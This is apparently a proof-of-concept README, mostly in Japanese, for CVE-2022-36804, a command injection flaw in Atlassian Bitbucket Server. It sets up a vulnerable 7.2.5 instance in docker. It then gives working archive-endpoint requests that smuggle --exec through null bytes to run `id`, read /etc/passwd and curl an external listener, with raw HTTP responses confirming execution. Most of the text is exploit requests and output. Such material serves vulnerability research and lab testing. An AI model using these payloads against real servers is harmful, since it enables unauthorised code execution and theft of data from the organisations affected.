coldfusionx/cve-2022-36804Atlassian Bitbucket Server および Data Center - コマンドインジェクションの脆弱性 (CVE-2022-36804)
Atlassian Bitbucket Server and Data Center - コマンドインジェクションの脆弱性 (CVE-2022-36804)
影響を受けるバージョンのAtlassian Bitbucket ServerおよびData Centerでは、複数のAPIエンドポイントにコマンドインジェクションの脆弱性が存在します。公開リポジトリにアクセスできる攻撃者、または非公開のBitbucketリポジトリに対する読み取り権限を持つ攻撃者は、悪意のあるHTTPリクエストを送信することで任意のコードを実行できます。
docker pull atlassian/bitbucket-server:7.2.5-ubuntu-jdk11
docker run -v /data/bitbucket:/var/atlassian/application-data/bitbucket --name="bitbucket" -d -p 7990:7990 -p 7999:7999 atlassian/bitbucket-server:7.2.5-ubuntu-jdk11
CFX という名前の新しいPROJECTと lord という名前のリポジトリを作成し、公開に設定します。プロジェクト名とリポジトリ名は任意の名前を使用できます。Curl http://127.0.0.1:7990/rest/api/latest/reposGET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60id%60%00--prefix=/ HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
HTTP/1.1 500
X-AREQUESTID: @1J1EWV1x490x54736x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: accept-encoding,x-auserid,cookie,x-ausername,accept-encoding
Content-Type: application/json;charset=UTF-8
Date: Tue, 04 Oct 2022 08:10:56 GMT
Connection: close
Content-Length: 380
{"errors":[{"context":null,"message":"'/usr/bin/git archive --format=zip --prefix=fusion/\u0000--remote=/\u0000--exec=`id`\u0000--prefix=/ -- 49f16ce1e8ad32a360c9db7a3a84a0b72a12c51f bighax' exited with code 128 saying: `id` '/': 1: uid=2003(bitbucket): not found\nfatal: the remote end hung up unexpectedly","exceptionName":"com.atlassian.bitbucket.scm.CommandFailedException"}]}
/etc/passwd の読み取りrest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=fusion/%00--remote=/%00--exec=%60cat%20/etc/passwd%60%00--prefix=/
http://example.com をBurp CollaboratorのURLまたはNCリスナーに置き換えます。rest/api/latest/projects/cfx/repos/lord/archive?format=zip&path=bighax&prefix=qualys/%00--remote=/%00--exec=curl%20http://example.com%00--prefix=/
リクエスト
GET /rest/api/latest/projects/cfx/repos/lord/archive?format=zip&prefix=/%00--help%00--%00 HTTP/1.1
Host: 127.0.0.1:7990
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 2
レスポンス
HTTP/1.1 200
X-AREQUESTID: @1J1EWV1x506x54738x0
X-ASEN: SEN-L18735288
Cache-Control: no-cache, no-transform
Vary: X-AUSERNAME
Vary: X-AUSERID
Vary: Cookie
X-Content-Type-Options: nosniff
Content-Disposition: attachment; filename="[email protected]"; filename*=UTF-8''lord-master%4049f16ce1e8a.zip
Content-Type: application/octet-stream
Content-Length: 875
Date: Tue, 04 Oct 2022 08:26:21 GMT
usage: git archive [<options>] <tree-ish> [<path>...]
or: git archive --list
or: git archive --remote <repo> [--exec <cmd>] [<options>] <tree-ish> [<path>...]
or: git archive --remote <repo> [--exec <cmd>] --list
--format <fmt> archive format
--prefix <prefix> prepend prefix to each pathname in the archive
-o, --output <file> write the archive to this file
--worktree-attributes
read .gitattributes in working directory
-v, --verbose report archived files on stderr
-0 store only
-1 compress faster
-9 compress better
-l, --list list supported archive formats
--remote <repo> retrieve the archive from remote repository <repo>
--exec <command> path to the remote git-upload-archive command